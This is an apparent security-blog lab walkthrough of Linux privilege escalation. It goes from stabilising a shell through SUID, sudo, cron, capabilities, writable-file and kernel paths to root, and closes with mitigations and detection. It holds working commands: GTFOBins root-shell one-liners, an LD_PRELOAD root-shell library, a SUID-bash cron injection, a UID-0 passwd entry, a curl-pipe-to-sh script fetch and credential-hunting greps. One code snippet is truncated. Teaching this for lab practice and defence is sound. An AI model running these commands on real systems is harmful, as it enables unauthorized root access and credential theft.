1
Hands-on Labs INTERMEDIATE 15 min read

Linux Privilege Escalation: From a Low-Privilege Shell to Root

A complete, hands-on Linux privilege escalation walkthrough: stabilise your shell, enumerate the host, and chain SUID, sudo, cron, capabilities and kernel flaws to reach root.

founder & security researcher · 2 writeups
Linux Privilege Escalation: From a Low-Privilege Shell to Root

Linux privilege escalation is the step that turns a foothold into control: you land on a box as a low-privilege user, and your job is to become root. It is the part of an engagement where patience beats cleverness, because the way in is almost always a small misconfiguration someone left behind, not an exotic exploit. This guide is the full workflow, from stabilising a raw shell to chaining a single enumeration finding into a root shell, with the blue-team side at the end so you also know how each path is closed.

Everything here is written to be read in order the first time and used as a checklist after that. The commands are real, the output is illustrative, and the targets are your own lab or a box you are authorized to test.

Scope

Run every command in this guide only against a machine you own, a lab VM, or a CTF box you are allowed to attack. Privilege escalation against a system without written permission is a crime.

01What you need before you start

Before you start, a handful of words carry the whole guide, so it is worth naming them plainly. None of this is complicated once it has a name, and if you have ever typed a command into a Linux terminal, you already have what you need to follow along.

On Linux, every user has a number. Root is the user whose number is zero, and it can do anything on the machine. A normal account such as uid=1000 is a low-privilege user, fenced in by file permissions. Privilege escalation is simply the move from that fenced-in account to root.

A shell is the command prompt you type into. A foothold is the first shell you get on a target, almost always as a low-privilege user. Turning that foothold into a root shell is the entire goal here, and two ideas get you there.

The first is enumeration, which means looking around the system, patiently and thoroughly, for something misconfigured. The second is GTFOBins, a public catalogue that, for a given program running with extra privileges, hands you the exact command that turns it into a root shell. You will lean on both on nearly every line below.

Who this is for

If you can open a terminal and run a command, you can follow this. You do not need to write code. Read it once from top to bottom, then keep it open as a checklist on your next lab box.

02How Linux privilege escalation works

Linux privilege escalation works by abusing a trust the system already grants, rather than breaking the kernel in half. A normal user cannot read /etc/shadow or restart a service, but the system is full of mechanisms that run code as a more privileged user on purpose: a SUID binary runs as its owner, a sudo rule runs a command as root, a cron job runs a script as whoever scheduled it. Each of those is a door, and a misconfiguration leaves the door unlocked.

So the mental model is simple. Find every place where your input, your files, or a program you can influence ends up executing as root, then make that execution do what you want. The diagram below is the shape of almost every local privilege escalation you will ever do.

where privilege actually crosses
You (low priv)uid=1000 influence Root-owned mechanismSUID / sudo / cron / cap runs as Rootuid=0

Every technique below is a specific instance of that picture. Keep it in mind and the long enumeration lists stop feeling random, because you are only ever looking for one thing: a root-owned mechanism you can reach.

03Stabilise your shell first

Stabilising your shell is the unglamorous first move that saves you from losing access halfway through. A reverse shell usually lands as a dumb, non-interactive shell with no job control, no tab completion, and a habit of dying when you press Ctrl-C. Upgrade it to a full TTY before you touch anything else, so a mistyped command does not end your session.

bash
# spawn a proper PTY, then background and fix the terminal
python3 -c 'import pty; pty.spawn("/bin/bash")'
# press Ctrl-Z to background it, then on your box:
stty raw -echo; fg
# back in the shell, set a sane environment
export TERM=xterm; export SHELL=/bin/bash

Confirm who you are and what you have. These three commands are the first lines of every privilege escalation, because they anchor everything that follows.

situational awareness
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm)
$ hostname; uname -a
web01  Linux web01 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux
$ sudo -l
User dev may run the following commands on web01:
    (root) NOPASSWD: /usr/bin/find

That sudo -l output is already a finding, and we will come back to it. First, the method.

04Enumerate before you exploit

Enumeration is the whole game, so resist the urge to throw a kernel exploit at the box before you have looked around. The rule is to run an automated script for breadth and then read the output by hand for the one line that matters, because a scanner highlights everything and understands nothing. Automated tools save time; they do not replace judgement.

bash
# automated breadth: download to memory, run, keep the output
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee linpeas.txt

# watch for cron and other processes you cannot see with ps
./pspy64 -pf -i 1000
Read, do not skim

LinPEAS colours findings red and yellow for a reason, but the box to root is often a plain-white line it rated low. Scroll the whole output once before you act on the first red flag.

While the scanner runs, work the manual checklist. The table below is the short list that finds the overwhelming majority of real boxes, in rough order of how often it pays off.

CheckCommandWhat you are looking for
Sudo rightssudo -lAnything you can run as root
SUID binariesfind / -perm -4000 2>/dev/nullA GTFOBins entry owned by root
Capabilitiesgetcap -r / 2>/dev/nullcap_setuid on a binary you control
Cron jobscat /etc/crontab; ls -la /etc/cron.*A root job running a writable script
Writable filesfind / -writable -type f 2>/dev/nullA root-used file you can edit
Credentialsgrep -riE 'pass|secret|key' /etc /var/www 2>/dev/nullReused passwords, tokens, SSH keys
Kernel versionuname -rA known exploit, as a last resort

05SUID and SGID binaries

SUID binaries are the first thing to enumerate properly, because a single misplaced one hands you root in one command. A file with the SUID bit set runs with the privileges of its owner, not the user who launched it, so a root-owned SUID binary always executes as root. Most are legitimate (passwd, sudo, ping), but any unusual one is worth checking against GTFOBins.

bash
# list every SUID binary on the system
find / -perm -4000 -type f 2>/dev/null
# the SGID equivalent, worth a glance too
find / -perm -2000 -type f 2>/dev/null
an interesting SUID binary
$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/find

The workflow from here is always the same: take the binary name to GTFOBins, find the SUID section, and run the one-liner it gives you. GTFOBins is a catalogue of how standard Unix binaries can be abused when they carry extra privileges. The table shows a few of the most common.

SUID binaryEscalation (from GTFOBins)
findfind . -exec /bin/sh -p \; -quit
vimvim -c ':!/bin/sh -p'
nmap (old)nmap --interactive then !sh
cpOverwrite a root-owned file you choose
bashbash -p

The -p flag matters: it tells the shell to keep the elevated privileges instead of dropping them, which is the difference between a root shell and a normal one.

root via SUID find
$ find . -exec /bin/sh -p \; -quit
# id
uid=1000(dev) gid=1000(dev) euid=0(root) groups=1000(dev)
# cat /etc/shadow | head -1
root:$6$Xn...:19000:0:99999:7:::

06Sudo misconfigurations

Sudo misconfigurations are the most common path to root on real engagements, which is why sudo -l is the first command you run. It lists exactly what your user may run as another user, and every entry is a candidate. A NOPASSWD rule is best, because you do not even need the user password, but any allowed command is worth checking against GTFOBins for its sudo section.

bash
# what can this user run as root?
sudo -l

Our earlier output allowed find as root with no password. The GTFOBins sudo entry for find is almost identical to the SUID one, and it drops a root shell on the spot.

root via sudo find
$ sudo find . -exec /bin/sh \; -quit
# whoami
root

When the allowed binary is not directly exploitable, two other sudo paths are worth knowing. If the sudo rule preserves the environment, you may be able to abuse LD_PRELOAD to load your own library as root. And if the box is running an old sudo, the Baron Samedit flaw (CVE-2021-3156) is a heap overflow in sudoedit that gives root regardless of sudo rules, which is why patching sudo matters.

bash
# LD_PRELOAD abuse when sudo keeps the environment (env_keep += LD_PRELOAD)
cat > /tmp/x.c <<'EOF'
#include 
void _init(){ setuid(0); setgid(0); system("/bin/bash -p"); }
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so 
Check the sudo version

Run sudo --version. Anything before 1.9.5p2 is vulnerable to Baron Samedit. Public exploits exist, but they can crash the service, so treat it as a lab technique and a reason to patch, not a first move on production.

07Cron jobs and writable paths

Cron jobs escalate privilege whenever a root-scheduled task runs a file or a command you can influence. The task itself runs as root, so if the script it calls is writable by you, or if it calls a program by a relative name you can hijack through PATH, you control what root executes on the next tick. These are quiet wins, because nothing looks wrong until the job fires.

bash
# system cron and the per-directory jobs
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly

# find a script a root cron runs that you can write to
find / -writable -type f 2>/dev/null | grep -vE '^/proc|^/sys'

If a root cron runs a writable script, appending a reverse shell or a SUID copy of bash is enough. The example below waits for a root cron to run a world-writable backup script.

cron abuse: a writable root script
$ ls -la /opt/backup.sh
-rwxrwxrwx 1 root root 94 Jan 10 09:00 /opt/backup.sh
$ echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh
# wait for the next cron tick, then:
$ /tmp/rootbash -p
# id
uid=1000(dev) euid=0(root)

Two related tricks live here too. A PATH hijack works when a root cron or SUID program calls another binary by its bare name, so you place a malicious binary of that name earlier in PATH. A wildcard injection works when a root job runs something like tar * in a directory you can write to, letting you smuggle in --checkpoint arguments as filenames.

08Linux capabilities

Linux capabilities break the all-or-nothing split between root and everyone else, and a careless one is as good as SUID. Instead of making a binary fully SUID-root, an administrator can grant it a single capability, but some capabilities are effectively root. The one to hunt for is cap_setuid, because a binary that can set its UID can set it to zero.

bash
# list files that carry capabilities
getcap -r / 2>/dev/null
cap_setuid on python
$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/python3.8 = cap_setuid+ep

A Python binary with cap_setuid escalates in one line, because you ask it to set your UID to zero and then spawn a shell.

bash
# root through a cap_setuid python
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

09Writable sensitive files and PATH hijacking

Writable sensitive files are the bluntest escalation of all: if you can edit a file root trusts, you win. The classic is a writable /etc/passwd, which still lets you add a root-equivalent account because many systems accept a password hash directly in that file. Generate a hash, append an entry with UID 0, and switch to it.

bash
# only works if /etc/passwd is writable by you
openssl passwd -1 -salt pwn hacked
# -> $1$pwn$...  put it in a new UID 0 line:
echo 'pwn:$1$pwn$q...:0:0:root:/root:/bin/bash' >> /etc/passwd
su pwn   # password: hacked

The same idea applies to any root-used file: a writable service unit, an authorized_keys for root, a cron file, a configuration that sources another script. The question is always the same, which is whether something root executes or reads is writable by you.

10Kernel exploits as a last resort

Kernel exploits are the last resort, not the first, because they are the loudest and least reliable option you have. A working kernel exploit gives root regardless of configuration, but it can panic the box, it is version-specific, and on a real engagement a crashed production server is a serious incident. Only reach for one after enumeration has genuinely come up empty.

bash
# know exactly what you are targeting first
uname -r
cat /etc/os-release

Two modern examples are worth knowing by name. Dirty Pipe (CVE-2022-0847) affects kernels from 5.8 and lets you overwrite read-only files, including /etc/passwd. Dirty COW (CVE-2016-5195) is the older race-condition classic. Match the exact kernel to a vetted proof of concept, read the code before you run it, and test it in a snapshot you can roll back.

Stability first

Never run an unread kernel exploit against a box you cannot afford to lose. On an engagement, a kernel panic is downtime you caused. In a lab, snapshot before you fire.

11Hunting for credentials

Credential hunting often beats every technical escalation, because people reuse passwords and leave secrets in files. Before you fight the kernel, read the obvious places: configuration files, command history, environment variables, and anywhere an application stores a database password. A single reused password can take you from a web user to root without a single exploit.

bash
# the usual hiding places
cat ~/.bash_history ~/.zsh_history 2>/dev/null
grep -riE 'password|passwd|secret|api[_-]?key' /var/www /etc /opt 2>/dev/null
find / -name '*.bak' -o -name '.env' -o -name 'id_rsa' 2>/dev/null
env

SSH private keys are the biggest prize. A readable id_rsa for another user, or for root, is a direct login, so always check home directories and backup paths for keys you can read.

12A worked path to root

A worked path to root ties the pieces together, because real escalation is a short chain, not a single command. The steps below are the exact sequence a methodical operator follows on a fresh low-privilege shell, and they map onto the loop in the diagram that follows.

Anchor

Run id, uname -a and sudo -l. Know your user, the kernel, and your sudo rights before anything else.

Enumerate

Launch LinPEAS and pspy for breadth, then work the manual checklist for SUID, capabilities, cron and writable files.

Pick one lead

Choose the cleanest finding. A NOPASSWD sudo rule or a GTFOBins SUID binary beats a kernel exploit every time.

Exploit and confirm

Run the technique, then confirm with id and read something only root can, like the first line of /etc/shadow.

Record

Note the exact command and the misconfiguration, because that line is the finding and the fix in your report.

the escalation loop
Enumerate Find a weakmechanism Exploit Root

13Detecting and preventing privilege escalation

Preventing privilege escalation is mostly about removing the unlocked doors before an attacker finds them, and detection is about watching the few that must stay open. Every technique in this guide maps to a specific control, which is why the defensive checklist is short and effective. The mitigation summary below pairs each path with what shuts it down.

Mitigation summary
Audit SUID and capabilities. Remove the bit from anything that does not need it, and never make an interpreter or a GTFOBins binary SUID.
Write sudo rules narrowly. Grant specific commands, never a shell or a GTFOBins binary, and drop env_keep for LD_PRELOAD.
Lock down cron. Root jobs call absolute paths, and their scripts are owned by root and not world-writable.
Patch the kernel and sudo. Keeping both current closes Baron Samedit, Dirty Pipe and the rest without any other work.
Hunt your own secrets. Keep credentials out of configs, history and world-readable files, and rotate anything that leaks.

On the detection side, auditd and a tool like Falco catch the behaviour rather than the file. A process whose effective UID suddenly becomes zero, a shell spawned by a cron job, or a write to /etc/passwd are all cheap, high-signal alerts that fire on the moment of escalation.

14Frequently asked questions

What is the difference between privilege escalation and lateral movement?FAQ

Privilege escalation raises your rights on the same host, for example from a normal user to root. Lateral movement takes the access you have and uses it to reach a different host. You usually escalate locally, then move laterally with the credentials or keys you found.

Should I run a kernel exploit first?FAQ

No. Kernel exploits are the last resort because they are unreliable and can crash the host. Enumerate for sudo rules, SUID binaries, capabilities and cron jobs first, since a misconfiguration is quieter and far more common than an unpatched kernel.

What is GTFOBins and why does it matter here?FAQ

GTFOBins is a catalogue of how standard Unix binaries can be abused when they carry extra privileges, such as SUID or a sudo rule. When you find a root-owned SUID binary or an allowed sudo command, GTFOBins tells you the exact one-liner that turns it into a shell.

How do I practise Linux privilege escalation safely?FAQ

Use deliberately vulnerable virtual machines on an isolated network, or a platform built for it. Practise the enumeration workflow until it is muscle memory, and always snapshot a lab VM before running anything that could crash it.

15Wrapping up

Linux privilege escalation rewards method over memory. You will not remember every GTFOBins payload, and you do not need to, because the workflow is always the same: stabilise the shell, enumerate widely, read the output properly, pick the cleanest root-owned mechanism you can influence, and confirm. The techniques change with each kernel and distribution, but that loop does not, and once it is second nature a box either gives up root in minutes or genuinely has nothing to give.

references

Was this writeup useful?
Alex Rowan Founder & Security Researcher at 0xpriv

Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.

related writeups

more in Labs →

discussion

0 comments
`code` supported · comments are reviewed before they appear